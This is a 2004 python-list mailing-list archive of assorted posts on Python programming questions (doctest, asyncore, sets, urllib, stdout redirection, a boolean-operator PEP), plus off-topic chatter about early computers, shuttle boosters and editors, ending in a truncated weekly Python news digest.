> You need to define a protocol for the communication between client and
> server, and implement the server in such a way that it sends what it's
> expected to send, when it has received what it expected to receive. In
> your current code, the server is expecting an infinite amount of data,
> while the client is sending only a few bytes.

You could define a special char that indicated the end of the transmission.


From carribeiro at gmail.com  Fri Sep  3 08:57:09 2004
From: carribeiro at gmail.com (Carlos Ribeiro)
Date: Fri, 3 Sep 2004 09:57:09 -0300
Subject: age of Python programmers
In-Reply-To: <4edc17eb.0409022018.27a96821@posting.google.com>
References: <mailman.1859.1092833285.5135.python-list@python.org>
	<889cbba0.0408181206.1812881c@posting.google.com>
	<mailman.1900.1092860258.5135.python-list@python.org>
	<Xns954A5141FF84JanC@213.118.38.197>
	<d8778a53.0408311322.9ad0233@posting.google.com>
	<6amZc.17353$ni.8118@okepread01>
	<822221bb04090109167035d328@mail.gmail.com>
	<mailman.2753.1094102613.5135.python-list@python.org>
	<4edc17eb.0409022018.27a96821@posting.google.com>
Message-ID: <864d3709040903055719060a0b@mail.gmail.com>

Are we in "good old days" mood? :-) 

I'm about to turn 38, and also started programming in Basic using a
Sinclair-compatible computer. Pressure-sensitive keyboard (not real
keys), a b&w tv set as a monitor, and a 40x24 screen with block
graphics for the overwhelming resolution of  80x48. Everything powered
by a blazingly fast Z80 8-bit CPU, I can't even remember how fast it
is, and 4 kbytes of RAM. And of course, the CPU had to do everything,
including generating the video signal. BASIC programs could run in
fast or slow mode. Slow meant that the code only ran during the
retrace intervals, and fast meant that the video would be unavailable
during program execution (I'm serious). Permanent storage? Have your
heard of personal cassete tape recorders? They would more than ever
not be able to restore what you just had saved.

I also had a HP41-CV pocket calculator -- similar to the one used in
the first Columbia shuttle flights as a type of handheld assistant for
some of the calculations for orbit reentry procedures and stuff like
that. And I shunned serious programmers using mainframes and CP/M
minis -- we could not play like we were used to, after all. It was
only after putting my hands on an Apple II that I started to realize
that I could do something serious.

I miss some of the excitement of doing then-incredible things. But no,
thanks, I don't want to go back in time :-)

On 2 Sep 2004 21:18:05 -0700, Michele Simionato
<michele.simionato at gmail.com> wrote:
> Andrew Durdin <adurdin at gmail.com> wrote in message news:<mailman.2753.1094102613.5135.python-list at python.org>...
> > There seem to be a lot of Pythoneers who started with BASIC -- I guess
> > that's what came with most "home computers" in those days. I started
> > at 8 with BASIC on an Amstrad CPC6128 (though I played games more than
> > I wrote programs :).
> 
> I started in the '85 programming Basic on a Casio pocket calculator;
> it had 1k of RAM, I had to erase old programs each time to make room
> to new ones. Somebody can recognize the model? I forgot, it was
> someting like Casio PC ## ...
> 
> 
>                Michele Simionato
> 
> 
> --
> http://mail.python.org/mailman/listinfo/python-list
> 



-- 
Carlos Ribeiro
Consultoria em Projetos
blog: http://rascunhosrotos.blogspot.com
blog: http://pythonnotes.blogspot.com
mail: carribeiro at gmail.com
mail: carribeiro at yahoo.com


From lynn at garlic.com  Thu Sep  2 17:57:38 2004
From: lynn at garlic.com (Anne & Lynn Wheeler)
Date: Thu, 02 Sep 2004 15:57:38 -0600
Subject: Xah Lee's Unixism
References: <j-OdnS-Q8aADqKjcRVn-tQ@speakeasy.net>
	<10jc7cu7e57koaa@corp.supernews.com>
	<20040901.2343.57633snz@dsl.co.uk>
	<YLednXSn7obciqrcRVn-og@powergate.ca>
	<41376B82.C6A202FC@yahoo.com> <P5GdnU8q-8Sw66rcRVn-qg@powergate.ca>
	<0g0fj0dvbthf0cj224bdt6ikqsv2vs5jlb@4ax.com>
Message-ID: <ur7pks59p.fsf@mail.comcast.net>

Alan Balmer <albalmer at att.net> writes:
> The shuttle boosters are 3.7m diameter. Quite a bit larger than the
> gage of any railroad I've ever seen.

but they did have to be transported from utah to florida ... so while
the gauge may not have been issue ... there were things like
bridges, tunnels, etc. My understanding was the sectioning
was specifically because of length transportion issues.

i have some recollection of competing bids building single unit
assemblies at sea coast sites allowing them to be barged to
florida. supposedly the shuttle boosters were sectioned specifically
because they were being fabricated in utah and there were
transportation constraints.

shortly have the disaster ... some magazine carried a story spoof
about columbus being told that his ships had to be built in the
mountains where the trees grew ... and because of the difficulty of
dragging them down to the sea ... they were to be built in sections
... and then tar would be used to hold them together when they were
put to sea.

earlier thread on this subject
http://www.garlic.com/~lynn/2001c.html#83 CNN reports...

this has 149 feet long as 12 feet diameterin four sections from utah
http://www.analytictech.com/mb021/shuttle1.htm

... making each section about 40 foot long.  12 foot high and wide on
flatbed .... 15-16 high (on flatbed) clears bridges and overpasses and
12 foot wide should hopefully be within bridge width restrictions.

-- 
Anne & Lynn Wheeler | http://www.garlic.com/~lynn/


From bretth at aiinet.com  Fri Sep 24 14:22:16 2004
From: bretth at aiinet.com (Humphreys, Brett)
Date: Fri, 24 Sep 2004 14:22:16 -0400
Subject: Asyncore Statemachine
Message-ID: <C0170D0AF1277849A4B4518034F855DD40B68F@aiexchange.ai.aiinet.com>

Hello all,
    I'm using a mutex in the midst of a asyncore dispatcher.  I want to
make sure that all the exit states from this statemachine are being
properly covered so that I release my mutex.  Does anyone know of a
description of the finite statemachine used in asyncore?

Thanks.
 
-Brett
 
--
Brett Humphreys
Software Engineer
Applied Innovation
Office: 614-923-1340
Fax:    614-798-1770
 
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-list/attachments/20040924/343bb07a/attachment.html>

From peter at somewhere.com  Tue Sep 21 04:51:14 2004
From: peter at somewhere.com (Peter Maas)
Date: Tue, 21 Sep 2004 10:51:14 +0200
Subject: python is going to die! =(
In-Reply-To: <EPmdnagKPrUPhtPcRVn-iQ@giganews.com>
References: <mailman.3520.1095631846.5135.python-list@python.org>
	<EPmdnagKPrUPhtPcRVn-iQ@giganews.com>
Message-ID: <cioq1t$br9$1@swifty.westend.com>

Istvan Albert schrieb:
> go away, troll

The best way of making a troll go away is to completely ignore him.
Trolls are begging for attention and giving them attention means
stimulating them.

But obviously many c.l.py posters find part of the troll message
worth to be discussed. This is OK, if the discussion isn't confined
to silly theses like 'everybody who wants an IDE is an idiot' but
is open for analyzing Python's strong and weak points.

A living programming language needs a strong community and therefore
Python has to attract new programmers. This way Python competes with
languages like C#. Posters who tell us that Python is so fantastic
that it doesn't need anything else but vi and emacs don't understand
that there are are different programmer personalities with different
needs (No, I'm not hostile to emacs and vi. I use vi/vim quite often).
If the Python community had only the ide=idiot guys this would be
the most serious threat for Python's survival. :)

-- 
-------------------------------------------------------------------
Peter Maas,  M+R Infosysteme,  D-52070 Aachen,  Tel +49-241-93878-0
E-mail 'cGV0ZXIubWFhc0BtcGx1c3IuZGU=\n'.decode('base64')
-------------------------------------------------------------------


From greg at cosc.canterbury.ac.nz  Sun Sep  5 21:24:44 2004
From: greg at cosc.canterbury.ac.nz (greg)
Date: Mon, 06 Sep 2004 13:24:44 +1200
Subject: Proto-PEP: Overloadable Boolean Operators
References: <413AEEF9.7060102@cosc.canterbury.ac.nz>
	<mailman.2901.1094397464.5135.python-list@python.org>
Message-ID: <413BBC5C.2020405@cosc.canterbury.ac.nz>

Miki Tebeka wrote:
> 
> Why not just __bool__(self) -> True, False?
> IMO this will answer all of your needs and will require less changes.

Have you read any of the rationale in the PEP?
The whole reason for this is that overriding __bool__
is *not* sufficient for the use cases I have
in mind.

Greg



From SBrunning at trisystems.co.uk  Fri Sep 10 09:43:14 2004
From: SBrunning at trisystems.co.uk (SBrunning at trisystems.co.uk)
Date: Fri, 10 Sep 2004 14:43:14 +0100
Subject: Build a project from the script using popen3
Message-ID: <9EED4A0E5EFBD811901100600846864D0610EB@intrepid>

> From: Larry Bates [mailto:lbates at swamisoft.com]
> 
> You may have more success using the mangled (8.3)
> directory names in your pathnames.  The ones with
> spaces in them (e.g. Program Files) is the problem.
> On my machine the mangled name for Program Files is
> Progra~1 (they can be seen with dir /x command at
> command prompt).  There may be another way to use
> the long filenames, but I'll bet this will be the
> easiest.

Try win32api.GetShortPathName()

Cheers,
Simon B.
simon at brunningonline.net
http://www.brunningonline.net/simon/blog/ 




-----------------------------------------------------------------------
The information in this email is confidential and may be legally privileged.
It is intended solely for the addressee. Access to this email by anyone else
is unauthorised. If you are not the intended recipient, any disclosure,
copying, distribution, or any action taken or omitted to be taken in
reliance on it, is prohibited and may be unlawful. TriSystems Ltd. cannot
accept liability for statements made which are clearly the senders own.


From aleaxit at yahoo.com  Tue Sep 21 09:26:37 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Tue, 21 Sep 2004 15:26:37 +0200
Subject: flat tuple
References: <41501751$0$22757$db0fefd9@news.zen.co.uk>
	<mailman.3638.1095768408.5135.python-list@python.org>
Message-ID: <1gkgys2.vmoski6n9kw9N%aleaxit@yahoo.com>

Phil Frost <indigo at bitglue.com> wrote:

> Tuples can be joined with the + operator, like so:
> 
> >>> (1,2)+(3,4)
> (1, 2, 3, 4)
> 
> so in your case, you could do (n,) + t. If you are using the result for
> % formatting, it might be better to use a list, which is mutable, so

Might be, but % wants a tuple as the RHS (assuming the LHS format string
has multiple %-formatting elements), NOT a list.


Alex


From jmfbahciv at aol.com  Wed Sep  1 08:09:01 2004
From: jmfbahciv at aol.com (jmfbahciv at aol.com)
Date: Wed, 01 Sep 04 12:09:01 GMT
Subject: Xah Lee's Unixism
References: <slrncj1745.t5q.amajorel@atc5.vermine.org>
	<41337FC9.8070902@hotmail.com>
	<slrncj7hhh.2pt.amajorel@atc5.vermine.org>
	<p7v7j0plcfbden593l1irfprmfkp4d3k51@4ax.com>
	<slrncj8m5n.2pt.amajorel@atc5.vermine.org>
	<%T%Yc.29567$Es2.11957889@news4.srv.hcvlny.cv.net>
	<du7k6vfnvx9.fsf@amadeus.cc.tut.fi> <4134AC88.56452265@yahoo.com>
	<aN2Zc.10226$QJ3.5466@newssvr21.news.prodigy.com>
Message-ID: <4135cea1$0$19726$61fed72c@news.rcn.com>

In article <aN2Zc.10226$QJ3.5466 at newssvr21.news.prodigy.com>,
   red floyd <no.spam at here.dude> wrote:
>CBFalconer wrote:
>
>> Dump Notepad and get Textpad.  www.textpad.com.  First class.
>> 
>
>Let the editor flame wars begin!
>
>Get gvim!  www.vim.org

You think notepad is an editor?  <snort>  You must be young
and inexperienced in the ways of Real Man's Editing sports.

/BAH

Subtract a hundred and four for e-mail.


From esj at harvee.org  Thu Sep  2 08:24:13 2004
From: esj at harvee.org (Eric S. Johansson)
Date: Thu, 02 Sep 2004 08:24:13 -0400
Subject: mbox mail handling
In-Reply-To: <pan.2004.09.01.03.53.08.117979@yahoo.com>
References: <pan.2004.09.01.03.53.08.117979@yahoo.com>
Message-ID: <ch73dt$q1q$1@sea.gmane.org>

John Doe wrote:

> I'm looking for some help to:
> access a /var/spool/mail/userbox, which should have 5 or more messages.
> 
> parse each message into mhlib.Message format. So I can pull docs and
> pictures out of each mail message.
> 
> Anybody got a suggestion, two or three? 

here are two:
for read only handling of your mailboxes
http://docs.python.org/lib/module-mailbox.html

for handling individual e-mail messages:
http://docs.python.org/lib/module-email.html



From greg at cosc.canterbury.ac.nz  Sun Sep  5 08:09:08 2004
From: greg at cosc.canterbury.ac.nz (greg)
Date: Mon, 06 Sep 2004 00:09:08 +1200
Subject: Proto-PEP: Overloadable Boolean Operators
References: <413AEEF9.7060102@cosc.canterbury.ac.nz>
	<mailman.2891.1094383377.5135.python-list@python.org>
Message-ID: <413B01E4.8030002@cosc.canterbury.ac.nz>

Andrew Durdin wrote:
> If I understand this correctly, then logical operations on instances
> of the following class should duplicate the existing behaviour for the
> boolean type -- is this correct?
> 
>     def __and2__(self, other):
>         return self

That should be

           return other

and similarly for __or2__. Otherwise it looks right.

> The PEP doesn't explicitly describe when __rand2__ (or __ror2__) is
> used. I'd guess that it will be called for (A and B) when A defines
> neither __and1__ nor __and2__ -- is this correct?

Not exactly. It will get called whenever the second operand
is needed, the first operand doesn't define __and2__, and the
second operand does define __rand2__.

The exact rules are rather complicated to state completely. I
have some text which spells it all out in mind-numbing detail,
but I left it out of the first draft of the PEP for fear of
scaring people off before I'd got the idea across. Perhaps
I'll include it as an appendix or something.

Greg




From db3l at fitlinxx.com  Fri Sep  3 14:24:21 2004
From: db3l at fitlinxx.com (David Bolen)
Date: 03 Sep 2004 14:24:21 -0400
Subject: gmpy 1.0 for python 2.4 alpha 2 Windows-packaged
References: <1gjhex7.v1umq1aye02xN%aleaxit@yahoo.com>
	<mailman.2807.1094184160.5135.python-list@python.org>
	<1gjj6pv.jq35ww5lr1jvN%aleaxit@yahoo.com>
Message-ID: <uk6vbmcru.fsf@fitlinxx.com>

aleaxit at yahoo.com (Alex Martelli) writes:

> I do assume that it's easy to keep the hundreds of tests almost
> unchanged, to avoid having to maintain them separately in two versions,
> and support 2.3 and 2.4 with localized changes to the small spots where
> the tests are run...?

At least when I ran it, the tests themselves (the doctest.testmod)
calls worked fine.  The rand exceptions seemed to just be a difference
in reporting in 2.4, for example most of them were of the form:

          - - - - - - - - - - - - - - - - - - - - - - - - -
Failure in example: r('error',1,2,3)
from line #2 of gmpy_test_rnd.rand in e:\usr\src\gmpy\test\gmpy_test_rnd.pyc
Expected:
    Traceback (most recent call last):
    File "<string>", line 1, in ?
    TypeError: function takes exactly 2 arguments (4 given)
Got:
    Traceback (most recent call last):
    TypeError: function takes exactly 2 arguments (4 given)
          - - - - - - - - - - - - - - - - - - - - - - - - -

However, when I try one of those tests interactively, Python 2.4 seems
to give me the "File" line too (indented, but it's also indented under
2.3, so I'm assuming the lack of indentation is unimportant to
doctest).  So I guess I can't say for sure that this isn't something
impacted by a change in doctest.  The doctest module docs for both 2.3
and 2.4 seem to imply it should only be checking the exception
type/value (the last line), so I guess I don't know why it's failing.
At least to me it seems clearly to be the right exception.

The one failure that I don't think you could easily anticipate is a
change in the actual exception message - for example the "r('shuf',
'astring')" test wants a TypeError saying "object doesn't support item
assignment", but 2.4 changes that to "object does not support item
assignment".

-- David


From sholden at flexal.cs.usyd.edu.au  Sun Sep 12 23:16:17 2004
From: sholden at flexal.cs.usyd.edu.au (Sam Holden)
Date: 13 Sep 2004 03:16:17 GMT
Subject: MD5 and SHA cracked/broken...
References: <slrnck6boc.l77.mlh@furu.idi.ntnu.no>
	<slrncka03t.2a1q.kirk@eyegor.jobsluder.net>
	<7xacvuyjfn.fsf@ruckus.brouhaha.com>
	<slrncka36l.7cc.sholden@flexal.cs.usyd.edu.au>
	<7xzn3udfsg.fsf@ruckus.brouhaha.com>
Message-ID: <slrncka481.7g1.sholden@flexal.cs.usyd.edu.au>

On 12 Sep 2004 20:11:11 -0700, Paul Rubin <> wrote:
> Sam Holden <sholden at flexal.cs.usyd.edu.au> writes:
>> Creating a collision between a "useful" file which people can
>> examine and use and a "trojan" file which does "bad things" is
>> significantly more difficult than creating two files whose
>> MD5 sums collide but whose contents are essentially "random".
>
> Of course it's not.  Just have a block of random-looking data
> somewhere in the file, like in a bitmap image or something.  Who's
> going to notice, if the bitmap doesn't actually get displayed?

Creating a collision of files containing some desired data plus a block
of "random" data is different than creating collisions of files that
contain purely "random" data. 

You can do both via brute force, generate until I find a match, approaches
given enough time. But a crack against the algorithm may be not work
for the "desired data" case - it may just give "random" byte sequences.

-- 
Sam Holden


From aleaxit at yahoo.com  Tue Sep 14 17:01:21 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Tue, 14 Sep 2004 23:01:21 +0200
Subject: My first attempt at subclassing....Gahh!
References: <95c29a5e.0409131910.5c916122@posting.google.com>
	<1gk3kvp.or5xpwtnn7peN%aleaxit@yahoo.com>
	<mailman.3322.1095185945.5135.python-list@python.org>
Message-ID: <1gk4kzx.kwspzzcduo5zN%aleaxit@yahoo.com>

John Lenton <john at grulic.org.ar> wrote:
   ...
> > save_stdout = sys.stdout
> 
> I believe sys.__stdout__ is there for the purpose of not having to
> 'save' sys.stdout in this way.

Hmmm, almost, but not quite.  If you somehow "know" that your sys.stdout
has not been set by some other module, typically a GUI framework, then,
sure, you don't need to copy sys.stdout yourself.  But if you get into
that habit, eventually you WILL get bitten, when you end up interfering
with exactly that kind of "other framework".  Personally, I far prefer
to cultivate the habit of a full-fledged idiom such as:

    redirected_stdout = cStringIO.StringIO()
    save_stdout = sys.stdout
    sys.stdout = redirected_stdout
    try:
        ...something that does prints...
    finally:
        sys.stdout = save_stdout
    ...use redirected_stdout.value...
    redirectred_stdout.close()


Alex


From fumanchu at amor.org  Tue Sep  7 10:20:48 2004
From: fumanchu at amor.org (Robert Brewer)
Date: Tue, 7 Sep 2004 07:20:48 -0700
Subject: Anyone know anything named DX? (was Re: Announcing
	PyCs)(was:Announcing PyCs, a new Python-like language on .Net)
Message-ID: <3A81C87DC164034AA4E2DDFE11D258E3022EC2@exchange.hqamor.amorhq.net>

Mark Hahn wrote:
> On Mon, 06 Sep 2004 23:07:03 -0700, Erik Max Francis wrote:
> 
> > Did Google stop working suddenly?
> 
> I googled at length and missed Data Explorer for "dx".  It 
> came in way too far down in the list, even when I added
> "software" and/or "language".

You also would have missed Microsoft's biggest use of DX, a shortcut for
DirectX. Lots of the DirectX projects received short names like
"dxmedia" and "dxsound".


FuManChu


From ian at cottee.org  Wed Sep 15 09:10:04 2004
From: ian at cottee.org (Ian J Cottee)
Date: Wed, 15 Sep 2004 22:10:04 +0900
Subject: i am going to get crazy!!!
In-Reply-To: <mailman.3360.1095251619.5135.python-list@python.org>
References: <4a9d4c93.0409141615.1d1ab0cb@posting.google.com>	<mailman.3342.1095212808.5135.python-list@python.org>	<fn2l12-pp4.ln1@suse.zobbo.org>
	<mailman.3360.1095251619.5135.python-list@python.org>
Message-ID: <eirl12-n6a.ln1@suse.zobbo.org>

Carlos Ribeiro wrote:
> On Wed, 15 Sep 2004 15:06:04 +0900, Ian J Cottee <ian at cottee.org> wrote:
>>
>>Must resist religious wars. Must resist religious wars BUT :-) ... Emacs
>>*is* an IDE. More integrated than many others. And to be fair VIM is an
>>IDE.
> 
> Ian, I sincerely don't want to spawn a religious war. That's why I
> made my point clear: there are two types (classes?) of developers, and
> there's nothing wrong with it -- it's just a matter of choice,
> dictated to a great extent by their particular needs.
> 

Well - I did put a smiley in but ... awwwww. What'a a little religious 
war between friends? ;-).

> Now, while *great* for what it's proposed to do, Emacs is not an IDE,
> in the sense that people that actually use IDEs mean. It's an editor
> (and a powerful one at this), but it's not an IDE. What  *I* (and
> other IDE-lovers) mean when mentioning IDE is a different type of
> software.

I think my problem with your comments is you think the world is split 
between those who 'get' IDEs and those who don't. I think the first IDE 
I ever used was Think C on the Mac. Since then I've used quite a few - 
the most commonly known was Delphi which fulfilled most of your criteria 
from below. For full integration I'll shudder at the memories of VB and 
Access.

Now, I was going to comment on the remaining points you made but I'll 
start sounding religious again. ;-). Honestly, I understand what you are 
after (well, I believe I do) - it's probably similar to what I am after 
as well. I haven't found it and therefore use Emacs.

Somebody else commented a few weeks back that they'd thrown away all 
their fancy tools and gone back to just using Scintilla and were more 
productive for it. I think I can understand that. Sometimes I spend so 
much time modifying modes and tweaking settings that productivity 
slumps. I should stop my quest and get on with some work.

Ian

PS You have a very well written blog. I'm enjoying reading it.

PPS For the record, I use wxDesigner for wxPython form design. 
http://www.roebling.de/. It's commercial but cheap.


From calvin at ironfroggy.com  Wed Sep 22 07:06:48 2004
From: calvin at ironfroggy.com (Calvin Spealman)
Date: Wed, 22 Sep 2004 11:06:48 +0000
Subject: Python in client side web applications
References: <b7Z3d.300693$vG5.71081@news.chello.at>
Message-ID: <2130187.Tc0vfoBgnC@ironfroggy.com>

Sergio Lobo wrote:
> Does any of you have experience using Python for the development of client
> side web applications? I found a Web Browser that comes with Python to
> provide embedding. I gave it a try but I would like to know if some of you
> have tried it as well or have tried some other tool.

Could always give Jython a try. Although I would love to see Python running
on every major browser and replacing Javascript/EMCAScript, I know that is
either not going to happen or going to happen a long ways off.



From edstar at optonline.net  Wed Sep 15 19:30:26 2004
From: edstar at optonline.net (Eddie)
Date: 15 Sep 2004 16:30:26 -0700
Subject: How Can I overide a function in an existing class
References: <af86cbe6.0409141639.62ce53ad@posting.google.com>
	<huCdnXpcC8yGC9rcRVn-sg@powergate.ca>
Message-ID: <af86cbe6.0409151530.215d0db8@posting.google.com>

> Trivialized example that I hope gives you the idea:
> 
> # in your own file
> 
> import BaseHTTPServer
> def replacementMethod(self):
>      # only the good stuff
> 
> BaseHTTPServer.SomeClass.someMethod = replacementMethod
> 
> Any help?
> 
> -Peter

Thanks Peter. This is exactly what I was looking for. It works
perfectly and is very simple.

Thanks again
Eddie


From rpw3 at rpw3.org  Sun Sep  5 03:00:20 2004
From: rpw3 at rpw3.org (Rob Warnock)
Date: Sun, 05 Sep 2004 02:00:20 -0500
Subject: Xah Lee's Unixism
References: <7fe97cc4.0408251356.34f2102a@posting.google.com>
	<87d613mckn.fsf@k9.prep.synonet.com>
	<4139b0e3$0$19717$61fed72c@news.rcn.com>
	<87vfeut0at.fsf@k9.prep.synonet.com>
Message-ID: <OJudnTfixegZJKfcRVn-gA@speakeasy.net>

Paul Repacholi  <prep at prep.synonet.com> wrote:
+---------------
| jmfbahciv at aol.com writes:
| > huh..The why did I have to do TTY:_DT0:/L or LPT:_DT0:/L to get
| > directories?  And to print a file on the line printer required the
| > PIP command LPT:_DSK:FOO.FOR
| 
| My bad... I claim bit rot of the grey stuff...
| Yes DIR and friends came later, post or part of(?) COMPIL.
+---------------

Yes, but... Wasn't COMPIL (at least a simple for of it) introduced
before or sometime during 4S72? We didn't switch from 4.x to 5.x until
5.02d (or so) IIRC, and I *thought* we used COMPIL earlier than that.
[But brain rot gets us all in the end...]


-Rob

-----
Rob Warnock			<rpw3 at rpw3.org>
627 26th Avenue			<URL:http://rpw3.org/>
San Mateo, CA 94403		(650)572-2607



From pfortin at pfortin.com  Tue Sep 14 20:57:06 2004
From: pfortin at pfortin.com (Pierre Fortin)
Date: Tue, 14 Sep 2004 20:57:06 -0400
Subject: Need script to download file at known address
References: <c71fk0liesaugrtl1ginqidq87c8ej9gq2@4ax.com>
Message-ID: <20040914205706.0702cb6c@gypsy.pfortin.com>

On Wed, 15 Sep 2004 00:00:21 GMT Radioactive wrote:

> I am fairly new to the latest verion of Python and using it on windows
> 95, 2000, and/or XP.  What libraries, modules, functions, etc. would I
> need to set up a Python script to download a file, say
> "htttp://www.sound.com/files/bob.wav" to my own hard drive at
> "c:\sound\bob.wav"?  
> 
> I haven't found any good examples of such an operation in the
> documentation at the Python website.  Any suggestions are appreciated.
> Thanks.


See:  11. Internet Protocols and Support
at http://python.org/doc/2.3.4/lib/lib.html

In this example, Yahoo uses 00=Jan, so 08=Sep...

>>> from urllib import urlopen
>>> URL1 = "http://ichart.finance.yahoo.com/table.csv?"
>>> URL2 = "s=IBM&a=08&b=14&c=2004&d=08&e=14&f=2004&g=d&ignore=.csv"
>>> urlopen("%s%s" % (URL1,URL2)).readlines()
['Date,Open,High,Low,Close,Volume,Adj. Close*\n',
'14-Sep-04,86.60,86.88,86.15,86.72,3953500,86.72\n', '<!--
ichart9.finance.dcn.yahoo.com uncompressed Tue Sep 14 17:55:33 PDT 2004
-->\n']
>>>


From grante at visi.com  Wed Sep 29 23:52:44 2004
From: grante at visi.com (Grant Edwards)
Date: 30 Sep 2004 03:52:44 GMT
Subject: constructing binary backslash-n
References: <F84E7671-127F-11D9-9E53-000A95D49904@neosynapse.net>
	<1f7befae04092919484211a3bb@mail.gmail.com>
	<mailman.4114.1096514611.5135.python-list@python.org>
Message-ID: <415b830c$0$8147$a1866201@newsreader.visi.com>

On 2004-09-30, Steven Arnold <stevena at neosynapse.net> wrote:

> I want to be able to receive a letter like 'n', let's say as user 
> input, and generate the single byte escape value of backslash-n or 
> ASCII 10, as a string of length 1.  If the user provided the letter 
> 'r', I would return a string one character long, for which 
> ord(my_string) == 13.  This should be equivalent to the string 
> '<backslash>r'.

eval(r"'\%s'" % c)

where c is the single character string in question (e.g. "r" or
"n" or whatever).

-- 
Grant Edwards                   grante             Yow!  I love ROCK 'N
                                  at               ROLL! I memorized the
                               visi.com            all WORDS to "WIPE-OUT"
                                                   in1965!!


From robin.siebler at palmsource.com  Mon Sep 13 14:37:46 2004
From: robin.siebler at palmsource.com (Robin Siebler)
Date: 13 Sep 2004 11:37:46 -0700
Subject: Best way to compare the contents of two directories
References: <95c29a5e.0409111640.6980271f@posting.google.com>
	<Zxc1d.412$W73.185@trndny03>
Message-ID: <95c29a5e.0409131037.430cbce8@posting.google.com>

"Raymond Hettinger" <vze4rx4y at verizon.net> wrote in message news:<Zxc1d.412$W73.185 at trndny03>...
> [Robin Siebler]
> > However, before I actually compare the files, I want to compare the
> > directories and if a directory is mising in either set, I want to
> > report it:
> 
> The operative word is "set".
> 
> Try using sets.py:
>      one_only = Set(dirlistone) - Set(dirlisttwo)
>      two_only = Set(dirlisttwo) - Set(dirlistone)
> 
> 
> Raymond Hettinger

I get the following error:

NameError: name 'Set' is not defined

I'm using ActivePython 2.2.3.  Is this something that has been added
to a later version of Python?


From bsmatt at gmail.com  Thu Sep 23 10:52:18 2004
From: bsmatt at gmail.com (bmatt)
Date: 23 Sep 2004 07:52:18 -0700
Subject: Multiple Interpreters In a Single Thread
Message-ID: <efd29696.0409230652.8c6f748@posting.google.com>

I am trying to support multiple interpreter instances within a single
main application thread. The reason I would like separate interpreters
is because objects in my system can be extended with python scripts
via a well defined interface (i.e. The onCreate script will be called
when the object is created).

So...Is it necessary to use multiple interpreters since each script I
import will be given its own module name and therefore the predefined
functions can be resolved using that module name?

If it is necessary then how is this accomplished? I have tried using
Py_NewInterpreter() but have been getting a strange crash (invalid
thread state).

Another concern I have is that I would like to be able to support
scripts defining their own application loop like functions. These
functions will need to be able to pause and wait for the next
application loop iteration before continuing. So...is there a way to
stop the interpreter ( via a call to an application defined function
like system.waitIteration() ), save the state of the interpreter and
continue processing when the application says it is ready?

I know these are kind of high level and vague questions but I am just
in the proof of concept and design phase and need to make sure some of
my ideas are feasible. Any information would be appreciated.

Thanks


From english at spiritone.com  Mon Sep 13 12:18:27 2004
From: english at spiritone.com (Josh English)
Date: Mon, 13 Sep 2004 09:18:27 -0700
Subject: Binding? problem
In-Reply-To: <4144ac84$1@nntp0.pdx.net>
References: <cht54g0jhl@enews1.newsguy.com> <4144ac84$1@nntp0.pdx.net>
Message-ID: <ci4h9b02cgg@enews2.newsguy.com>

Scott David Daniels wrote:
> Josh English wrote:
> 
>> I'm working on a Stack based language that can import methods from 
>> predefined libraries. Here's what I mean....
>>
> Tell us more about the problem you are trying to solve.  Normally you'd
> do this on classes.  Why doesn't this work?:
> 

What I want to do is have a class method that takes methods from one 
class and applies them to the class instance, overriding the 'self' in 
the method from the Library class to the Runner class. I'm looking for a 
way to do this dynamic importing:

class Library:
	... methods that have 'self' calls

r = Runner()
r.Import(Library)

r should now have the methods in the library.

Josh English



From carribeiro at gmail.com  Tue Sep 21 14:07:30 2004
From: carribeiro at gmail.com (Carlos Ribeiro)
Date: Tue, 21 Sep 2004 15:07:30 -0300
Subject: Python 3.0, rich comparisons and sorting order
In-Reply-To: <loom.20040921T192348-961@post.gmane.org>
References: <864d370904092109509df67ee@mail.gmail.com>
	<loom.20040921T192348-961@post.gmane.org>
Message-ID: <864d37090409211107302ef8a5@mail.gmail.com>

On Tue, 21 Sep 2004 17:24:48 +0000 (UTC), Steven Bethard
<steven.bethard at gmail.com> wrote:
> Could you give an example of a list that you'd like to do this to?  I'm still
> having trouble imagining a list of disparate types that I call sort on...

Assume that you're implementing a spreadsheet like application in
Python. The user fills a column with arbitrary data, and asks for it
to be sorted. What is the sorting order? Excel, for instance, defines
an ordering (it's arbitrary, but it's deterministic).

Let me put it another way:

sort() should work regardless of the list elements, and return a
reasonable result, even if not strictly correct in the numerical
sense.

And my last argument, and probably the most controversial one, and the
one that will see me tortured, killed and nailed to the city door for
visitors to see what happen with people that pushes the social limits
:-) Mathemathically speaking: sort() is not a topological sort (which
works with partial ordering); it implements total ordering (any two
members of the set can be compared). The set, in this particular case,
is a Python list, that *can* contain arbitrary data. So it does not
make sense (in my not-so-humble opinion) for sort to impose
restrictions based on the list element type.

(BTW, if we extend this reasoning, the same could be said for other
types of functions that work over sets -- sum() should ignore
non-numeric values, etc. But that's another philosophical battle)

-- 
Carlos Ribeiro
Consultoria em Projetos
blog: http://rascunhosrotos.blogspot.com
blog: http://pythonnotes.blogspot.com
mail: carribeiro at gmail.com
mail: carribeiro at yahoo.com


From python-url at phaseit.net  Tue Sep  7 16:31:25 2004
From: python-url at phaseit.net (Cameron Laird)
Date: Tue, 07 Sep 2004 20:31:25 +0000
Subject: Dr. Dobb's Python-URL! - weekly Python news and links (Sep  7)
Message-ID: <mailman.2999.1094593912.5135.python-announce-list@python.org>

QOTW:  "The Canvas widget has amazed me with its flexibility and power: I
love it!" -- Marc Boeren

"For some kind of applications (namely application doing vector drawing), it
is nearly impossible to consider anything else than Tkinter *because* of the
Canvas widget..." -- Eric Brunel


    Unit testing lies near Pythonia's heart.  Tim Peters and Michele
    Simoniato exhibit modern ways of thinking about doctest and unittest.
        http://groups.google.com/groups?frame=left&th=461cc8799e9fe825

    Hyperlink extraction is one of the examples the pyparse 
    distribution works out.
        http://groups.google.com/groups?frame=left&th=55d9cd9980ca727c

    Guido speaks--on decorators, J2, and how to steward Python responsibly.
    Important reading:
        http://article.gmane.org/gmane.comp.python.devel/63486

    Jonathon Ellis automates RSS for Python job listings.
        http://groups.google.com/groups?selm=mailman.2701.1093995339.5135.python-announce-list%40python.org

    The state-of-Python-art under MacOS advances rapidly.  Here's how
    to access a keychain:
        http://bdash.bluewire.net.nz/2004/08/30/example-code-mac-os-x-keychain-access-from-python/


========================================================================
Everything Python-related you want is probably one or two clicks away in
these pages:

    Python.org's Python Language Website is the traditional
    center of Pythonia
        http://www.python.org
    Notice especially the master FAQ
        http://www.python.org/doc/FAQ.html

    PythonWare complements the digest you're reading with the
